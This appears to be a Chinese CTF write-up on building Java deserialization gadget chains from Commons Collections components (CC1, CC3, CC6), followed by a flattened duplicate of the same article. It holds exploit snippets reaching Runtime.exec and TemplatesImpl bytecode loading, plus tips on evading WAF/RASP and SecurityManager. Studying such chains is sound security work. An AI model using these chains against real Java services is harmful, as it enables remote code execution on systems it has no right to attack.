ConstantTransformer 返回常量 任意版本

6.2.3 攻击目标(Sink)- 最终执行什么

攻击目标 触发方式 特点
Runtime.exec() 方法调用 直接但容易被拦截
TemplatesImpl字节码 构造器或方法触发 隐蔽,绕过SecurityManager
URLClassLoader 加载远程类 需要网络访问
JNDI注入 lookup()调用 强大但有JDK版本限制

6.3 拼接三原则

6.3.1 原则1:接口匹配

触发器必须能调用传递机制的入口方法

// ✅ 正确:HashMap.hash()调用TiedMapEntry.hashCode()
HashMap  TiedMapEntry.hashCode()  LazyMap.get()

// ❌ 错误:HashMap不会调用toString()
HashMap  BadAttributeValueExpException.toString() // 不匹配!

6.3.2 原则2:参数兼容

上一步的输出必须是下一步的输入

// ✅ 正确:transform()接受Object返回Object,可以链式调用
ConstantTransformer.transform()  返回TrAXFilter.class (Object)
 
InstantiateTransformer.transform(Object)  接受Class对象

// ❌ 错误:类型不匹配
ConstantTransformer  返回String
 
InstantiateTransformer  需要Class对象 // 类型不匹配!

6.3.3 原则3:版本限制

检查每个组件的可用性

// CC 3.2.2环境
 LazyMapConstantTransformerHashMap // 可用
 InvokerTransformerInstantiateTransformer // 被禁用

6.4 经典组合示例

6.4.1 CC6 = HashMap触发 + InvokerTransformer链 + Runtime.exec()

// [触发器] HashMap
HashMap hashMap = new HashMap();
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
hashMap.put(entry, "value");

// [传递机制] LazyMap + InvokerTransformer链
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", ...),
    new InvokerTransformer("invoke", ...),
    new InvokerTransformer("exec", ...)
};
LazyMap lazyMap = LazyMap.decorate(new HashMap(), new ChainedTransformer(transformers));

// [攻击目标] Runtime.exec()
// 调用链:
// HashMap.readObject() → TiedMapEntry.hashCode() → LazyMap.get() 
// → ChainedTransformer → Runtime.exec()

6.4.2 CC1 = TransformedMap触发 + InvokerTransformer + Runtime.exec()

// [触发器] AnnotationInvocationHandler + TransformedMap
Map<String, Object> innerMap = new HashMap<>();
innerMap.put("value", "test");
Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

// [传递机制] InvokerTransformer
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
                          new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
                          new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// [攻击目标] Runtime.exec()
// 调用链:
// AnnotationInvocationHandler.readObject() → TransformedMap.setValue()
// → ChainedTransformer → InvokerTransformer链
// → Runtime.getRuntime().exec() → RCE

6.4.3 CC3 = 动态代理触发 + InstantiateTransformer + TemplatesImpl

// [触发器] AnnotationInvocationHandler + 动态代理 + LazyMap
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

// [传递机制] InstantiateTransformer
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(
        new Class[]{Templates.class},
        new Object[]{templates}
    )
};

// [攻击目标] TemplatesImpl字节码加载
// 调用链:
// AnnotationInvocationHandler.readObject() → proxyMap.entrySet()
// → 动态代理invoke() → LazyMap.get() → ChainedTransformer → InstantiateTransformer 
// → new TrAXFilter(templates) → templates.newTransformer() → 字节码加载

6.4.4 CC6触发 + CC3攻击(完整实现)

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6TriggerCC3Attack {
    public static void main(String[] args) throws Exception {
        // 1. 准备恶意字节码 - 使用TemplatesImpl
        byte[] code = getEvilBytecode();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_tfactory", null);
        
        // 2. 构造Transformer链 - 使用CC3的InstantiateTransformer
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };
        // ... 完整实现
    }
}

完整调用链:

HashMap.readObject() ← CC6的触发器(最稳定)
 ↓
hash(tiedMapEntry)
 ↓
TiedMapEntry.hashCode()
 ↓
TiedMapEntry.getValue()
 ↓
LazyMap.get("key")
 ↓
ChainedTransformer.transform()
 ↓
ConstantTransformer.transform() → 返回TrAXFilter.class
 ↓
InstantiateTransformer.transform() ← CC3的传递机制
 ↓
new TrAXFilter(templates) ← CC3的攻击目标(构造器触发)
 ↓
templates.newTransformer()
 ↓
TemplatesImpl.getTransletInstance()
 ↓
TemplatesImpl.defineTransletClasses()
 ↓
加载恶意字节码 → 静态代码块执行 → RCE ✅

为什么这样组合?

  • 稳定性: HashMap触发不依赖JDK版本,比AnnotationInvocationHandler更通用
  • 隐蔽性: TemplatesImpl字节码加载比Runtime.exec()更难被WAF/RASP检测
  • 绕过能力: 可绕过SecurityManager和部分安全防护

注意: 此组合在CC 3.2.1及以下版本可用,CC 3.2.2中InstantiateTransformer被禁用,需要用Myexpect方式绕过。

7. 实战拼接步骤

7.1 步骤1:确定环境约束

// 检查清单
 JDK版本?
 Commons Collections版本?
 是否有SecurityManager
 是否有其他防护措施?

7.2 步骤2:选择触发器

// 优先级
1. HashMap(最通用)
2. PriorityQueue(需要Comparator
3. BadAttributeValueExpException(依赖toString

7.3 步骤3:选择攻击目标

// 根据环境选择
if (需要绕过SecurityManager) {
    使用TemplatesImpl字节码加载
} else if (简单直接) {
    使用Runtime.exec()
}

7.4 步骤4:构建传递链

// 根据约束选择
if (CC版本 <= 3.2.1) {
    可用InvokerTransformerInstantiateTransformer
} else {
    只能用ConstantTransformer + 自定义类(如Myexpect
}

7.5 步骤5:测试验证

// 1. 本地测试序列化
byte[] payload = serialize(gadget);

// 2. 反序列化验证
deserialize(payload); // 观察是否触发

// 3. 调试跟踪
// 在关键方法打断点,确认调用链正确

8. 拼接核心思路总结

  1. 模块化思维: 把链分解为触发、传递、攻击三个独立模块
  2. 接口匹配: 确保上下游方法能正确调用
  3. 灵活组合: 取不同链的优点进行组合
  4. 创新绕过: 遇到限制时寻找替代方案

核心要点: 反序列化链不是固定的,可以像乐高积木一样自由拼接。关键是理解每个组件的功能和接口,然后根据环境约束进行创新组合。

Java反序列化链组合拼接方法详解 1. 背景介绍 1.1 CTF题目环境分析 Web服务 : Hutool HTTP Server (端口8888) 依赖库 : Commons Collections 3.2.2(带安全检查) + hutool-all-5.8.18 JDK版本 : JDK1.8.0_ 202 关键提示 : cn.hutool.json.JSONObject.put → com.app.Myexpect#getAnyexcept 1.2 题目核心文件 1.2.1 Testapp.java(存在漏洞的Web服务) 1.2.2 Myexpect.java(反射工具类) 2. 漏洞分析 2.1 漏洞点 2.2 环境约束 Commons Collections 3.2.2 安全限制: ❌ InvokerTransformer - 反射调用方法(已禁用) ❌ InstantiateTransformer - 反射调用构造器(已禁用) ✅ ConstantTransformer - 仅返回常量(可用) 2.3 突破点 Myexpect类的优势: ✅ 可序列化(继承自Exception) ✅ 提供 getAnyexcept() 方法反射调用任意构造器 ✅ 不受CC 3.2.2安全检查限制 3. CC链基础知识 3.1 CC1链原理 3.1.1 核心组件 3.1.2 调用链 3.1.3 失效原因 JDK 8u71+限制: CC 3.2.2限制: 3.2 CC3链原理 3.2.1 核心组件 3.2.2 调用链 3.2.3 失效原因 CC 3.2.2限制: 3.3 CC6链原理 3.3.1 核心组件 3.3.2 调用链 3.4 CC链核心区别对比 | 特性 | CC1 | CC3 | CC6 | |------|-----|-----|-----| | Commons Collections版本 | ≤3.2.1 | ≤3.2.1 | ≤3.2.1 | | JDK版本限制 | ≤JDK 8u71 | 8u71+可用(部分版本) | 无限制 | | 触发类 | AnnotationInvocationHandler | AnnotationInvocationHandler | HashMap | | 触发方式 | TransformedMap.setValue() | 动态代理 + LazyMap.get() | TiedMapEntry.hashCode() → LazyMap.get() | | 核心Transformer | InvokerTransformer | InstantiateTransformer | InvokerTransformer | | 攻击目标 | Runtime.exec() | TrAXFilter → TemplatesImpl | Runtime.exec() | | 优点 | 简单直接 | 绕过JDK 8u71限制,字节码加载隐蔽 | JDK兼容性最好 | | 缺点 | JDK 8u71+失效 | 高版本JDK可能失效 | 直接调用Runtime易被拦截 | 4. 解题思路与实现 4.1 核心思路 使用Myexpect替代被禁用的InstantiateTransformer,利用Hutool JSONObject的JSON序列化机制自动触发getter方法。 4.2 技术选型 | 组件 | 选择 | 原因 | |------|------|------| | 触发方式 | CC6 (HashMap + TiedMapEntry + LazyMap) | JDK通用,触发稳定 | | 攻击目标 | CC3 (TrAXFilter + TemplatesImpl) | 构造器触发,适配Myexpect | | 绕过手段 | ConstantTransformer + JSONObject | 返回Myexpect对象,JSON序列化触发getter | 4.3 完整利用链 4.4 完整POC实现 5. 关键机制解析 5.1 JSONObject.put触发getAnyexcept() 核心原理: Hutool JSONObject.put()会调用BeanUtil.beanToMap(),自动反射调用对象的所有getter方法。 关键: 使用JSONObject而非普通HashMap作为LazyMap底层Map。 5.2 jsonObject.remove("111")的作用 确保反序列化时触发transform: 构造时: hashMap.put() → jsonObject.put("111", 1) 清理: jsonObject.remove("111") 反序列化: lazyMap.get("111") → !containsKey("111") → 调用transform() 不remove则: LazyMap直接返回已存在值,不触发transform。 5.3 选择TrAXFilter + TemplatesImpl的原因 Myexpect限制: 只能调用构造器,不能调用普通方法。 TrAXFilter优势: ❌ Runtime构造器是private的 ✅ TrAXFilter构造器是public的,且内部自动调用newTransformer() 6. 反序列化链拼接原理 6.1 链的基本结构 任何反序列化攻击链都可以分解为三个独立模块: 6.2 常见组件分类 6.2.1 触发器(Trigger)- 决定何时执行 | 触发器 | 入口方法 | JDK要求 | |--------|---------|---------| | HashMap | readObject() → hash() → hashCode() | 任意版本 | | PriorityQueue | readObject() → heapify() → compare() | 任意版本 | | BadAttributeValueExpException | readObject() → toString() | 任意版本 | | AnnotationInvocationHandler | readObject() → entrySet() → setValue() | ≤JDK 8u71 | 6.2.2 传递机制(Chain)- 如何传递到目标 | 传递机制 | 特点 | CC版本要求 | |----------|------|-----------| | LazyMap | 延迟加载,访问不存在的key触发 | 任意版本 | | TransformedMap | 修改value时触发 | 任意版本 | | ChainedTransformer | 链式调用多个Transformer | 任意版本 | | InvokerTransformer | 反射调用方法 | ≤3.2.1 | | InstantiateTransformer | 反射调用构造器 | ≤3.2.1 | | ConstantTransformer | 返回常量 | 任意版本 | 6.2.3 攻击目标(Sink)- 最终执行什么 | 攻击目标 | 触发方式 | 特点 | |----------|----------|------| | Runtime.exec() | 方法调用 | 直接但容易被拦截 | | TemplatesImpl字节码 | 构造器或方法触发 | 隐蔽,绕过SecurityManager | | URLClassLoader | 加载远程类 | 需要网络访问 | | JNDI注入 | lookup()调用 | 强大但有JDK版本限制 | 6.3 拼接三原则 6.3.1 原则1:接口匹配 触发器必须能调用传递机制的入口方法 6.3.2 原则2:参数兼容 上一步的输出必须是下一步的输入 6.3.3 原则3:版本限制 检查每个组件的可用性 6.4 经典组合示例 6.4.1 CC6 = HashMap触发 + InvokerTransformer链 + Runtime.exec() 6.4.2 CC1 = TransformedMap触发 + InvokerTransformer + Runtime.exec() 6.4.3 CC3 = 动态代理触发 + InstantiateTransformer + TemplatesImpl 6.4.4 CC6触发 + CC3攻击(完整实现) 完整调用链: 为什么这样组合? 稳定性: HashMap触发不依赖JDK版本,比AnnotationInvocationHandler更通用 隐蔽性: TemplatesImpl字节码加载比Runtime.exec()更难被WAF/RASP检测 绕过能力: 可绕过SecurityManager和部分安全防护 注意: 此组合在CC 3.2.1及以下版本可用,CC 3.2.2中InstantiateTransformer被禁用,需要用Myexpect方式绕过。 7. 实战拼接步骤 7.1 步骤1:确定环境约束 7.2 步骤2:选择触发器 7.3 步骤3:选择攻击目标 7.4 步骤4:构建传递链 7.5 步骤5:测试验证 8. 拼接核心思路总结 模块化思维: 把链分解为触发、传递、攻击三个独立模块 接口匹配: 确保上下游方法能正确调用 灵活组合: 取不同链的优点进行组合 创新绕过: 遇到限制时寻找替代方案 核心要点: 反序列化链不是固定的,可以像乐高积木一样自由拼接。关键是理解每个组件的功能和接口,然后根据环境约束进行创新组合。